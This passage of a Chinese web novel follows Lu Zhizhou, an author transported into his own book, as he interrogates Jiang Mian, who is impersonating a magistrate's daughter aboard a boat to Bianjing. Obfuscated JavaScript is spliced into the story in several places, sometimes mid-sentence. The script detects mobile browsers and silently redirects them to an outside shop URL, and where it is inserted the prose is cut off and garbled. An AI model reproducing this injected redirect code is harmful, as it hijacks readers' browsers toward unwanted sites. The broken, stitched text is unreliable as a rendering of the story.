“对了，您这一昏睡，足足睡了两日呢。”卫民在一旁沉声接话，眉头微皱，“大夫说您染了风寒又呛了江水，伤了肺腑，理论上说不该如此快上路颠簸。可我们家主子有紧要的公事在身，要赶回汴京，是以一刻也耽搁不得。没法子，昨日只能将您一同挪回船上，继续赶路了。” 姜绵闻言，顾不上嗓子干哑生疼，把头摇得像拨浪鼓，急迫地用那公鸭般的嗓音辩解道：“不是……我没有怀疑你们的意思，我是想找我的文书！我一路贴身带着的……” 那份压着官印的籍帖和路引，可是她拿半条命换来的新身份，是她能活着去往京城的唯一筹码，绝不能有半点闪失！ 晓康见她急红了眼，连忙出声安抚：“姑娘莫慌！您换下来的那身湿衣物，早让人洗过，连同里头的盘缠和那份要紧的文书，都在我们主子那里妥善收着呢，丢不了！” 听到这个消息姜绵哪里还坐得住。 她的命哪能放在陆知舟那里？！ 于是她顾不得三七二十一，猛地掀开锦被，连鞋都来不及穿，打着赤脚便跌跌撞撞地朝舱门冲去。 哪知刚行至门口，江风顺着门缝一吹，她脑中猛地一阵天旋地转，原本就虚弱的双腿瞬间软得像抽了筋。 眼看着她就要一头栽倒在地，就在这千钧一发之际。 听得“吱呀”一声，眼前的雕花木门骤然被人从外面推开。 一道裹着清冷苦楝香的挺拔身影立在门外。 来者额间玄带束发，银饰上的蓝宝冷光流转，青玉发冠挽住高束的墨色长发，几缕碎发垂在颊侧。 姜绵立即反应过来，这眉目清俊，满是世家子弟的矜贵之气的家伙除了陆知舟还能有谁？ 陆知舟刚处理完密信，正打算过来查看这只“水鬼”的情况，迎面便见一个单薄的身影摇摇欲坠地朝自己栽了过来。 他眉头微蹙，出于世家礼教的本能修养，下意识地朝前迈出半步，伸出了一只手，想要稳稳扶住她。 就在所有人都以为这会是一个结结实实的拥怀时。 少女在知晓来者何人的瞬间，几乎是出于趋利避害的野兽本能，硬生生在半空中扭转了自己的跌势。 姜绵脚下猛地一顿，宁可拼着摔断骨头的风险，也绝不往那人身上扑！ 于是，在陆知舟错愕微僵的目光中，在晓康和卫民倒吸冷气的惊呼声里。 “砰”的一声，姜绵犹如一块僵硬的木板，精准地避开了陆知舟伸出的那只手，然后拐了个弯，以一种惨烈而决绝的姿势，直挺挺地、结结实实地正面砸在了坚硬的木地板上。 船舱内外，死一般寂静。 陆知舟那只落空的手悬在半空，修长的指节微微蜷缩了一下。 他垂下眼睫，看着脚边那个宁愿啃地板也不愿碰他一片衣角的少女，深邃的眼底浮现出一抹复杂，甚至带着几分气极反笑的暗芒。 就连晓康和卫民都愣住了。 要知道，他们主子可是翰林陆氏的嫡孙，不过十七之龄便探花及第，前途无量出身高贵不说还相貌堂堂，像他这般郎艳独绝的天之骄子，满汴京的世家小姐哪个不是巴巴地往前凑，变着法儿地想往他怀里跌？ 如今还是第一次见到姜绵这般避之不及的。 难不成是他们把主子吐了她一身的事同她说吓到她了？ . 最后姜绵是被卫民扶着回到榻上的， 这一下摔得实在太狠，她不仅额头磕红了一片，连下巴颌都肉眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514988|203151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可见地肿起了一个青紫的小包。 姜绵揉着钝痛的下巴，倒吸着凉气，却还不忘强撑起一抹虚弱感激的笑：“多谢……不知这位郎君如何称呼？” “卫民。”卫民面无表情地答道。 “卫……民？”姜绵顿了顿，目光又转向旁边那个圆脸少年，“那这位小郎君呢？” 晓康知道她是在问自己，乐呵呵地搔了搔头：“晓康。破晓的晓，康健的康。” 姜绵愣住了。 她将这两个名字在唇齿间反复咂摸了一遍，只觉得说不出的怪异。 前世陆知舟的这两个常随也是叫这名字吗？ 她那时厌极了陆知舟，更无心留意他身边人，倒是一点印象都没有了。 晓康见她神色古怪，还以为她是被这名字的底蕴震住了，忍不住凑上前显摆道：“姑娘也觉得这两个名字极好吧？不瞒您说，我家主子当初赐名时可说了，这两个名字那是大有典故的！” 姜绵满脸不解。她虽出身不好，书读得不多，但也知道雅俗之分。 就这四个字，横看竖看也不像能和什么诗词骈文沾的上边的模样…… 见她疑惑，晓康挺直了腰板，清了清嗓子，无比骄傲、掷地有声地解答道。 “这典故便是——‘为了、人民、奔小康’！” “……” 姜绵彻底僵住了。 为了人民……奔小康？ 这七个字拆开来她都听得懂，但连在一起，却透着一股诡异到令人头皮发麻的荒诞感。 晓康拍了拍胸脯，满脸崇拜：“我这等粗人虽不爱读书，不知这绝句出自哪朝哪代的古籍。但咱们主子那年科考可是神仙打架，人才之盛，时人谓之小嘉祐！就这咱们主子都能杀破重围位列一甲，主子亲口赐的典故，那肯定是极高雅、极有深意的！” 卫民忙不迭补充：“其实咱们主子是有状元之才的，只不过长得好看了些，才成了探花。” 这桩前尘姜绵倒不晓得，前世她只知陆知舟的确探花及第，未曾听闻他文章还得了第一。 于是她多嘴问了句，于是卫民和晓康嘻嘻哈哈地同她说道。 那年殿试之日，天子阅卷至其名，叹其文采当为第一。 及至临轩唱名，只见在一众一甲进士之中，有一绝艳的少年郎。 问及名讳，才知这就是方才那写得锦绣文章的陆家嫡孙。 这小郎君不仅风仪秀整，宛若玉树，在一众进士里简直有些鹤立鸡群。 于是皇帝愣了一下，写得一手好字好文章就罢了——怎么就连人也生得如此好看？ 皇帝转头问身边的内侍：“依本朝旧例，探花需选年少俊美者，可有此说？” 内侍答：“回陛下，确有此说。” 皇帝沉吟片刻，笑道：“罢了。他若点了状元，往后那些榜眼探花站在他身边，岂不都成了绿叶？不如让他去做这探花，也好叫天下人知道，我朝不仅出才子，更出玉郎。” 于是陆知舟便被点为探花。 姜绵恍然大悟的点点头，面上赞叹连连。 内心却在腹诽长得好看又如何？ 这陆知舟不过是人面狗心的小人！ 5. 硝烟呛 她忍着下巴的酸痛，顺着晓康的话，装出一副虚心受教的模样继续问道：“那不知这句……这句高雅之言，究竟是何深意？” 晓康一拍大腿，神色瞬间变得肃然起敬。他学着读书人抑扬顿挫的语调，朗声道：“主子曾教导我们，此句的真谛便是——‘为天地立心，为生民立命，为往圣继绝学，为万世开太平’！”[1] 当这掷地有声的四句话在逼仄的船舱内炸响时，姜绵着实被这宏大磅礴的格局给震得晃了晃神。 这句话姜绵是听得懂的。 于是，姜绵又满脸敬畏、状似了然地点了点头。 面上应着，可姜绵低垂的眼眸里却飞快地闪过一丝狐疑，心中更是忍不住疯狂编排。 既然寓意是这般惊天动地，那你们怎么不干脆叫“继圣”、“继学”、“立命”啥的？ 但看着眼前这少年一脸自豪的模样，再想想自己如今寄人篱下的处境，姜绵艰难地扯了扯嘴角。 她顶着肿起老高的下巴颌，干巴巴地附和道：“原来如此……真是一句……振聋发聩的好诗。我也不怎么爱读书，若是此番有幸去了汴京，定也要多受些这等高雅文化的熏陶才是。” 船舱里的空气，在这一刻陷入了诡异的静谧。 而此刻，正立在舱门边、原本打算进来试探她底细的陆知舟：“……” 思想方针倒是不假，但这劳什子典故的说法确是自己当年中二时期随口胡诌的给晓康还有卫民听的。 被自家侍卫用如此庄严肃穆的语气当着外人的面背诵出来，这位素来泰山崩于前而色不变的探花郎，破天荒地感到了一阵窒息。 他默默偏过了头，修长的手指抵在唇边，不自然地轻咳了一声。 清冷的轻咳声在门边响起，舱内正慷慨激昂的晓康瞬间熄火，赶紧拉着卫民退到两侧：“主、主子！” 陆知舟登堂入室，视线并未在姜绵身上过多停留，而是径直对卫民吩咐道：“去后厨煮两个热鸡蛋，再把大夫开的驱寒药煎了。” 两人如蒙大赦，连声应下，麻溜地退了出去，顺手带上了舱门。 随着“吱呀”一声门轴合拢的闷响，屋内瞬间静了下来，只剩下炭火细微的燃烧声。 狭小的空间里，只剩下他们二人。 空气中交织着淡淡的苦楝香与江水的潮气。 这一刻，两人彼此视线交织。 陆知舟：按原著，此刻她定不认得我是谁。 姜绵：没了前世那样的交集，他定认不出自己。 陆知舟缓步走到床榻边，衣摆微动，从容地在姜绵榻旁的绣墩上落座。 他看着眼前这个满眼戒备的少女，细细打量。 那张巴掌大的小脸此时凄惨得很，额角被磕红了一大片，肿起老高，下巴颌那儿更是直挺挺撞在木板上，此时浮着一层骇人的擦痕，叫人看着都觉得疼。 可即便这般狼狈不堪、额肿大包的模样，却依旧不掩少女的清丽动人。 像是被骤雨摧折过的木樨花，虽显颓势，但不掩其香，反倒落了满地的簌簌鹅黄。 秀挺的琼鼻，精致如画的远山眉。抛开青紫的地方不谈，其余肌肤在窗外西沉的日头的晕染下，透着一种的清润感。 的确叫人无法忽视，反倒生出一股摧其毁灭的复杂私欲来。 模样上倒是他当时落笔写文时设想的样子，不然她如何叫宋宴清青睐，还能成为了宋宴清与李亦棠感情之中的阻碍？ 姜绵被他盯着，心底忍不住一阵恶寒，整个人不自觉地瑟缩了一下。 瞧出眼前人的不自在，陆知舟开口：“我自幼受教，知晓礼义廉耻，绝不会有不轨逾矩之行，姑娘大可安心在此处歇息，不必担忧。” 姜绵下巴疼得厉害，却仍强行挤出一抹端庄感激的浅笑：“郎君一表人才，光风霁月，小女自然信得过。” 她强装镇定地攥紧了锦被的边缘，正盘算着该如何开口讨要东西，便听陆知舟清泠的声音再次响起。 “姑娘的细软，尽数在这里。” 话音落下，姜绵这才注意到，陆知舟的另一只手上正提着一个粗布包袱。 她灰暗的眼眸猛地一亮，也顾不得什么矜持，忙不迭地伸出双手接了过来，紧紧抱在怀里。 隔着布料捏到了那份硬挺的文书，姜绵悬在嗓子眼的心总算落回了肚子里。 但她转念一想——这包袱在人家手里待了两日，里头的籍帖和路引极有可能已经被翻看过了。 若是遮遮掩掩，反倒显得心虚，不如自己直接坦白，先发制人！ 打定主意，姜绵仰起那张摔得青一块紫一块的脸，端出一副大家闺秀的做派，开口嗓音仍是嘶哑嘲哳，她面上一红：“承蒙郎君愿意收留，小女感激不尽。不瞒郎君，小女乃是青阳县沈家的嫡二小姐，名唤沈清荷。” 紧接着，他眉头微挑，亦是一副明知故问的讶然模样：“沈家？可是青阳县县令沈文才大人的那个沈家？” 姜绵连忙点点头。 看来这块县令千金的招牌还是好用的。 “……如今正应召进京赴香药库应选服役，听晓康郎君说你们也是要去汴京的，可否捎带小女一程？”姜绵知道此刻的声音再怎么也说不上柔软好听，有些尴尬地舔了舔干裂的嘴唇。 好在陆知舟很是识趣，也没有笑她，还轻巧地答应下来：“既然同路，左右我这么大个客船，也不差你一人，沈小姐安心住下便是。” 听见对方应得轻巧，姜绵心头一喜，一双秋水剪瞳巴巴地望着他，依旧明知故问：“还不知郎君如何称呼？若是有机会，来日小女必将上门，略备薄礼重重道谢。” 陆知舟看着她这副精湛的伪装，深邃的黑眸里掠过一丝极淡的讥诮，面上却不动声色地回了三个字：“陆知舟——” 然而，还没等姜绵嘴角的弧度完全展开，陆知舟却突然身子微微前倾，一双极具穿透力的黑眸直勾勾地锁住了她。 “既是县令家的千金，那不知沈小姐路途之中，可是遭遇了什么不测？” “——怎会落了水狼狈至此？还扮作妇人打扮？” “青阳县距汴京千里迢迢，沈大人为何让令爱孤身一人上路，连个伺候的车马婢女都未曾配备？”少年温润的嗓音里，此刻却带上了属于上位者的审视，字字句句如刀锋般逼近。 “再者，姑娘连夜跳入这冰冷刺骨的江水中，可是路遇了什么歹人追杀？” “若是真有冤情，可是需要我即刻命人靠岸，去你家中托信查明原委？” 一连串的问题，这陆知舟说的气也不见得大喘几口，犹如冰冷的连珠炮，轰得姜绵措手不及！ 姜绵呼吸一滞，脑壳本就因为病中而昏昏沉沉，此刻更是嗡嗡作响。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514989|203151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她死死掐住掌心，借着刺痛让自己保持清醒。 陆知舟此人，生于陆氏那样的百年高门，自幼浸淫在权力的漩涡中，什么后宅阴私、风云诡谲没见过？ 他这般多疑警惕、滴水不漏，原也在情理之中。 更何况……别人不知道，拥有前世记忆的姜绵却再清楚不过！ 前世的陆知舟，可是不过而立之年便已入主政事堂，几近宰执的年轻权臣。 他年纪轻轻便能官拜四品，在波谲云诡的汴京朝堂上有着举足轻重的地位，翻手为云覆手为雨，甚至只轻飘飘的一句话，便能定人生死。 这样一头蛰伏的凶兽，哪怕他如今不过才十九岁的年纪，哪怕他此刻披着温润的少年皮囊，但亦不容小觑。 这小子绝对简单不到哪儿去！ 是以她必须得一一招架住这番盘问。 姜绵强行压下心底翻涌的慌乱，长睫微垂，恰到好处地挤出几分劫后余生的凄楚来。 她将那包袱往怀里搂了搂，声音微颤，将那连珠炮似的问题一一招架了回去：“陆郎君有所不知。如今江南水患刚过，世道不泰，流民四起。小女在赴京途中，不幸路遇了流寇冲撞，这才在慌乱中与车夫婢女走散了。小女一路乔装改扮逃难至渡口，为了避开歹人，迫不得已才跳了江……” 说到这，她抬起那一双水汽氤氲的眸子，满是通情达理地望着陆知舟：“至于派人回青阳县托信……便实在不劳陆郎君费心了。” 她继续道：“方才听晓康小郎君所言，郎君身上带着紧要的公事，可谓日理万机。郎君愿意大发善心，搭手捎带小女子这一程，对小女已是犹如再造的恩德。小女又怎敢再不知好歹，为了一己私事去劳烦郎君，耽搁了您回京的行程？” 这番话说得可谓是滴水不漏。 既立住了一个柔弱无依、深明大义的落难千金人设，又用“耽搁要事”的软钉子，不动声色地堵死了他派人去青阳县查证的路。 陆知舟静静地看着她表演。 听着这番声泪俱下、感人肺腑的陈词，他心头不由得溢出一声极淡的冷哼。 这份弥天大谎，当真是编得天衣无缝、惹人怜惜。 若是换作任何一个不知内情的旁人，哪怕是久经官场的老狐狸，只怕也要被她这副楚楚可怜、又懂事知礼的做派给骗了去。 如果不是那日在沐尘镇的客栈里，他多看了一眼，心生疑窦。 如果不是他亲自夜探沈府，亲手将那真千金床头扯杀人不见血的香囊扯了下来……他或许还真就信了这套完美无瑕的说辞。 可偏生，没有如果。 陆知舟不紧不慢地转动着拇指上的青玉扳指，仍旧幽幽看着她。 他不仅没有顺着她的以退为进给台阶，反而微微前倾了身子，语气越发温和，却也越发让人毛骨悚然：“沈小姐言重了。这又如何说得上是劳烦？” 他看着姜绵那张瞬间微僵的脸，唇角的弧度似笑非笑：“左右不过是吩咐一声底下人跑一趟的事。沈大人痛失爱女音讯，此刻定然是急得如热锅上的蚂蚁。我既与沈小姐同路，顺手替沈小姐报个平安、全了小姐的一份孝心，想来也是一桩美事。” 陆知舟仍死死盯着她，轻飘飘地将了她一军：“为人子女，总不能为了不劳烦旁人，就真叫家中老父日夜煎熬、肝肠寸断吧？沈小姐，你说呢？” 6. 臭鸡蛋 姜绵缓缓松开掐出深痕的掌心，那双清泠泠的秋水眸里，顷刻间蓄满了水汽，眼尾更是泛起了一抹凄艳的薄红。 “陆郎君字字珠玑，句句在理。为人子女，确实不该叫老父挂心。可是……” “我端看陆郎君的衣着打扮言行举止，想来您应当出身钟鸣鼎食之家，自是觉得天下无不是的父母，一家人理应和和美美。” 绝望地闭上眼，任由两行清泪顺着苍白的脸颊滑落，嘴角勾起一抹凄厉又自嘲的苦笑。 “可郎君却不知，那等门第稍显的后宅深院里，向来都是吃人不吐骨头的。” 陆知舟闻言，眸光微闪，转动青玉扳指的动作慢了半拍。 “我虽占着沈家嫡出二小姐的名头，可处境却连个体面的丫鬟都不如。” “我上头虽有个嫡姐，却早已早早嫁作人妇。母亲身为正室，膝下却无子傍身，反倒是家里的几房小妾生了庶子，气焰嚣张得敢踩在母亲头顶上作威作福。” “我又自幼便是个胎里带病的药罐子，这些年为了吊着我这口气，不知砸了多少流水般的银钱进去，早就成了父亲和姨娘们眼里的眼中钉、肉中刺。” 姜绵抬起泪眼，配着那副嘶哑的嗓子好不可怜：“此番进京应召，路途遥远又凶险，本是个极苦的差事，可偏偏，这是母亲唯一能拿来在父亲面前争脸面、压制后院那些姨娘的机会！” “他们将我如敝屣般推出来，连个像样的护院都不肯多给，巴不得我死在这千里之外的荒郊野岭，好彻底省了那份抓药的开销，也断了母亲最后的指望！” 她猛地前倾了身子，也不顾什么男女大防，一把攥住了陆知舟玄色大氅的衣角，仰着那张楚楚可怜的脸庞，如同抓住最后一根救命稻草。 “陆郎君，您若是执意要往青阳县递信，这信落不到我母亲手里，只会落到那些手眼通天的小妾和庶兄手里！若是让他们知晓我如今落了单、丢了护卫……只怕迎来的根本不是我爹的担忧，而是他们派来将我斩草除根的杀手了！” 逼仄的船舱内，少女抽泣个不停。 “郎君若真要全了那所谓的孝道……” 姜绵的手指剧烈地颤抖着，松开了他的衣角，颓然地跌坐回榻上，闭目等死般凄然一笑，“那您便干脆做做好人，现在就将我沉了这江吧。也免得我日后，还要再受一遭骨肉相残的凌迟之苦。” 陆知舟垂下眼睫，静静地端详着眼前这张梨花带雨的脸庞。 他在心底发出一声极淡的冷哼，真会演。 若生在现代合该给她搬座奥斯卡小金人。 这份身世悲剧编排得当真是严丝合缝、毫无破绽，连沈家后宅的底细都被她摸得一清二楚。 她把话都堵到了这个份上，此刻自己若是再固执己见、非要派人去报信，倒显得他是个面目可憎、非要逼死无辜弱女子的恶人了。 好一个以退为进的置之死地而后生。 就在这剑拔弩张、几乎要逼人窒息的对峙关头。 “笃笃”两声舱门被人不合时宜地叩响，卫民粗声粗气的声音从外头传来：“主子，白水蛋煮好了。” 这突如其来的一嗓子，犹如一根针，瞬间扎破了舱内紧绷饱胀的气氛。 陆知舟眼底的锋芒倏然一收，淡声道：“进。” 卫民端着个冒着热气的小木碗推门而入，完全没察觉到屋内方才刚经历过一场生死交锋，憨憨地放下碗便退了出去。 陆知舟看了看碗里两枚滚烫的鸡蛋，又看了一眼榻上眼眶通红、还在暗自防备的姜绵。 他慢条斯理地挽起朱红色的宽袖，露出一截冷白的手腕，修长如玉的指节捏起一枚鸡蛋，极有耐心地在案几上敲碎，剥去外壳。 随着剑拔弩张的气氛戛然而止，姜绵忽而有些不知如何自处，只能眼巴巴的看着陆知舟剥鸡蛋。 堂堂陆家公子，做起这等伺候人的粗活，倒也顺手。 剥好后，陆知舟将那枚白嫩滚烫的鸡蛋递到姜绵面前，语气温和得仿佛方才那个步步紧逼的人根本不是他：“沈小姐，拿去敷一敷脸上的伤吧。” 姜绵警惕地看了他一眼，搞不懂这尊大佛又在唱哪出。 她伸出指尖去接。 然而，刚才那番生死博弈耗尽了她极大的心神，加上江水浸泡后的风寒发热，她这具身体此刻确确实实是虚脱了。 指尖刚碰上那枚滑溜溜的鸡蛋，还没等拿稳送到脸上，她手腕忽地一软。 手上力道一松，那枚白水蛋便丝滑地从她指缝间溜了出去。 “啪嗒。” 它先是掉在锦被上弹了一下，接着便在地心引力的作用下，“咕嘟咕嘟”地一路滚下了床榻，在地板上滚了一圈，最后稳稳当当地停在了陆知舟的皂靴边上，沾了一圈灰。 空气，突然诡异地安静了。 姜绵的手还尴尬地悬在半空。 陆知舟低头看了一眼靴子旁那个脏兮兮的鸡蛋，又抬眼看了一眼面前这个连个蛋都拿不住的人。 这位素来泰山崩于前而色不变，最重仪态的世家公子，这回是真的没能控制住。 他眉头狠狠一跳，从喉咙深处溢出了一道极轻、却不耐烦的声响：“啧。” 这一声“啧”，带着毫不掩饰的嫌弃与烦躁，瞬间击碎了他那层温润如玉的伪装。 姜绵被他这一声“啧”惊得后背发毛，下意识地往床榻里缩了缩。 如今敌强她弱，自己手无缚鸡之力，可眼前的陆知舟却又高又大，这莫名其妙地不耐烦一下，把她骇的不行。 何意味？ 他到底在不耐烦什么？ 既然这么嫌她烦又干嘛要救她？ 陆知舟也敏锐地察觉到了自己方才那瞬间的失态。 他深吸了一口气，生硬地压下心底那股被蠢到了的火气，面不改色地开始找补：“是我思虑不周。” 他语气幽幽，带着几分不易察觉的咬牙切齿与似笑非笑的嘲弄：“沈小姐大病未愈，又生得这般弱柳扶风、娇弱不堪，这等圆滑之物，自是拿不住的。” 圆滑个字，像是刻意被他咬重了点。 姜绵嘴角微微一抽，正想硬着头皮开口赔罪，却见陆知舟已经拿起了碗里剩下的一枚鸡蛋。 骨节分明的手指再次利落地剥开蛋壳。 这一次，他没有再递给她。 在一片难言的静谧中，陆知舟微微倾身，宽大的阴影瞬间笼罩了姜绵。那股清冷的苦楝香夹杂着淡淡的热气扑面而来。 姜绵浑身一僵，连呼吸都停滞了。 “别动。” 清润微哑的嗓音在咫尺间响起。 下一瞬，一只微凉的大手虚虚地扣住了她的后脑勺。 而另一只手，则捏着那枚滚烫的鸡蛋，带着不容抗拒的力道，轻轻压在了她下巴颌那块青紫骇人的肿块上，缓慢、却不失力道地滚揉起来。 姜绵被这样钳制住滚脸，只觉得说不出的诡异。 她心想，这蛋就非要滚么？ 不若痛死她呢？ 她本就发着高热，此刻被这样弄着，面皮上更加滚烫，骤觉呼吸急促了起来。 “嘶——” 就在姜绵胡思乱想之际，下巴上的力道骤然加重，一股钻心的酸痛猛地袭来，逼得她没忍住倒吸了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他垂眸，居高临下地瞥了一眼如释重负的姜绵，从袖中掏出一块素净的帕子，慢条斯理地擦了擦修长的指节。 “既如此，沈小姐便安心在船上养病吧。这几日江上风浪大，无事便莫要出舱门了。” “多谢陆郎君体恤——不过清荷倒也好奇，像陆郎君这样一个小郎君，是从哪里学来的这些门道？竟连女儿家爱用滚烫的白水蛋敷脸去瘀这种偏方，都这般清楚。” “……郎君如此体贴入微……可是身边有什么交好的姑娘友人？” 逼仄的船舱内，气氛因为这句看似无心的话，又再次变得微妙起来。 正慢条斯理地从袖中抽出一块素白帕子擦手的陆知舟，动作猛地一顿。 交好的姑娘友人？ 这女人是在套他的话？还是在试探他有没有红颜知己？ 作为写下这个世界的人，陆知舟的脑海中瞬间闪过原书里自己给男二设定的那条“深情白月光”的感情线。 他当然知道她口中那个隐晦的“姑娘”指的是谁。 可那是原著里的纸片人设定，跟他这个被硬塞进躯壳里的异壳灵魂有什么关系。 他这世甚少与女子打交道，儿时不过因族中长辈撮合，和李亦棠在娃娃时互相打了个照面。 后来他一门心思扎进学问里，那李亦棠又置身闺阁忙着宅斗…… 他如今连那李亦棠长得是圆是扁都不知道！ 至于这鸡蛋敷脸的常识，不过是现代人最基础的生活小妙招罢了。 陆知舟垂下眼睫，看着姜绵那张虽然苍白虚弱、却依然掩不住眼底精明算计的小脸，心底溢出一声极淡的冷笑。 好一招投石问路。 都病成这副半死不活的德行了，居然还有心思拐弯抹角地刺探他的底细。 难不成是看上他了，还想攀他这枚高枝？ 7. 陈墨香 他将擦过手的帕子随手抛进炭盆里，火苗“腾”地一下蹿高，映亮了他清冷没有半分情绪的侧脸。 “沈小姐若是把这份刨根问底的心思，多用几分在将养身子上，方才也就不会连个鸡蛋都拿不稳了。” 陆知舟没有如她所愿地露出任何心虚或追忆的神色，而是用一种似笑非笑的眼神，凉凉地睨着她：“陆某身边没有什么交好的姑娘友人。只有一堆极其棘手、随时会要人命的公案。” “至于青阳县那边……”陆知舟转过身，背对着她，留下一句意味深长的话，“既然沈小姐家中有那等吃人的豺狼，这信，我自是不送了。只盼沈小姐到了汴京，当真能如愿以偿，挣出个大好前程来。” 天色渐暗。 说罢，他没有半分停留，推开舱门，大步迈入了寒风凛冽的暮色中。 “吱呀”一声，门扇再次合拢。 直到确认门外那道清冷的脚步声彻底走远，榻上的姜绵才如同烂泥一般瘫软下来。 她大口大口地喘着粗气，抬手摸了摸下巴上被揉得发烫的淤青，原本那副楚楚可怜的神情瞬间荡然无存，取而代之的，是眼底犹如野草般疯长的恨意。 她哪里听不出那陆知舟说话夹枪带棒？ 不过她倒没觉察出什么不对，记忆里的陆知舟好像一直都是这副狗眼看人低的模样。 这家伙偏又生的多疑谨慎，她忍忍便是。 第一关，她终于硬生生地扛过去了。 这艘去往汴京的船，她终于是坐稳了。 …… 夜阑人静，浓雾彻底封锁了江面。 客船破浪而行，沉闷的涛声如同巨兽的喘息。 上好的银霜炭在错金兽首铜炉里烧得极旺，没有半分呛人的烟火气，将江上无孔不入的潮湿阴冷尽数驱散。 晓康在一旁伺候着，眼神却时不时地往自家主子身上瞟。 他实在想不通，隔壁那位姑娘，为何方才瞧见主子，都像老鼠见了猫似的，满眼都是藏不住的戒备与畏惧。 他端详着自家主子。 此时的少年郎君已经褪去了那一袭沾染着些许夜露气息的墨紫色大氅。 他内里穿着一身藏青暗纹的交领长袍，广袖垂落时，红绒滚边犹如暗夜里的流火。腰间一根朱红丝绦系着鎏金带扣，将那宽大的衣摆收得利落妥帖，越发显得他身姿挺拔、如芝兰玉树。 这般贵气逼人、温润出尘的模样，当年在汴京城打马游街时，不知让多少高门大户的小娘子芳心暗许，甚至绞碎了帕子央求家中长辈去打探婚配之事。 晓康愈发不解了。多么清隽绝伦的郎君！隔壁那姑娘莫不是瞎了眼，怎会怕成那样？ 憋了半晌，晓康终于忍不住开口问道：“公子可是摸清隔壁那女子的底细了？” 陆知舟拨弄着炭火的手微微一顿，眸色在明灭的火光中暗了暗，淡声道：“她就是青阳县县令家，那个李代桃僵的假千金。” “什么？！” 晓康满脸震惊，眼珠子都快瞪出来了：“瞧着那般柔柔弱弱、风吹便倒的娇怜模样，背地里竟如此阴毒，连鸠占鹊巢的勾当都干得出来！” “好哇！咱们正愁拿不到她呢，她居然自己撞到主子您的刀口上来了！” 晓康猛地握紧了腰间的佩剑，义愤填膺道：“主子，咱们要不要一回京，就直接将她扭送官府，定她个谋财害命的死罪？！” “不必。” 陆知舟将手中的铜火箸随手扔在案几上发出一声脆响，毫不犹豫地打断了他。 “主子？”晓康愣住了，“这等毒妇，留着作甚？” “送官？以什么罪名？你可有她亲手杀害真千金的铁证？” 晓康说：“那香囊，还有大夫的证词，有这还不够？” 陆知舟抬眸看他：“那就能证明那是她挂的么？又或者我们严刑拷打，真能叫她承认那香囊是她挂在那沈清荷床头的，她难道不会辩解自己并不知香囊会与沈清荷的汤药药性相冲吗？” 晓康道：“对哦……” “她拿着真千金的文书路引，是要去汴京作甚，你可知晓？”陆知舟眼睫微掀，语气幽深。 晓康愣了愣：“属下不知。” “为了进香药库服役。朝廷即将筹备郊祀，凡地方官员家中通晓药理的女眷，皆可应召进京甄选，以备大典。” 陆知舟慢条斯理地转动着拇指上的羊脂玉扳指，唇角勾起一抹极淡的讥诮：“她费尽心机顶替身份，为的，便是进这香药库。多半是打着攀附权贵、飞上枝头的主意。像这般拜高踩低的人，只要捏住她的软肋，其实最好利用。” “再者，若真是那青阳县令沈文才欺瞒朝堂，偷梁换柱叫这假千金赴京应役……咱们暂时留下她，便等同于抓住了江南地方官员欺君罔上的小辫子。日后清算江南官场，没准能从沈文才嘴里翘出一些什么。这是一步绝佳的暗棋。” “如今那假的沈小姐正因我们救了她而对我们心生感念，我们又拿她没办法，既不会害我们，就可暂时留得。” 晓康犹豫了一瞬，压低声音问：“主子，那之后……小的要不要托人暗中探探她的底细？” 陆知舟没答话。 探她的底细？ 他垂眸，修长的指尖轻轻摩挲着茶盏的边缘，唇角浮起一丝几不可察的讽意。 ——自己笔下写出来的人，什么底细他还不清楚？ 原书里的姜绵，出身寻常农家，父亲早亡，母亲改嫁，她自幼被寄养在姨母的药庐里长大。 因生得几分颜色，又伶俐过人，穷怕了的她便生了攀附权贵的心思。 后来攀上李亦棠这条线，不择手段地一步步往上爬，最后落得个死在冷宫里、连个收尸的人都没有的凄惨下场。 说到底，不过是个心比天高、命比纸薄的农家女。 他写过她。在这个世上，他比任何人都清楚她是个什么样的人。 一个设定极其扁平、一眼就能望到底的恶毒女配罢了，若不是那劳什子系统非逼着他保住她的命，他连多看一眼都嫌多余。 可这话，他自然是没法对晓康开口的。 半晌，陆知舟才淡淡道：“不必。” 晓康一愣：“主子……不查？” “对，不必大费周章去查。” 陆知舟将茶盏随意地搁在案几上，发出一声清脆的轻响。 他微微抬眸，那双深邃的黑眸中透着一股尽在掌握傲慢，“左右人如今就在咱们的眼皮子底下。日后若有机会，我自能亲自从她那张嘴里，把她所有的底细，原原本本地撬出来。” “主子高见！”晓康闻言，心头大定，“既如此，小的便不打扰主子安歇了。” 陆知舟点点头，晓康便退了出去，带上了舱门。 舱内复而陷入安静，陆知舟又开始有些晕船难受起来。 他为转移注意力，只好摊开纸张，想着写些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 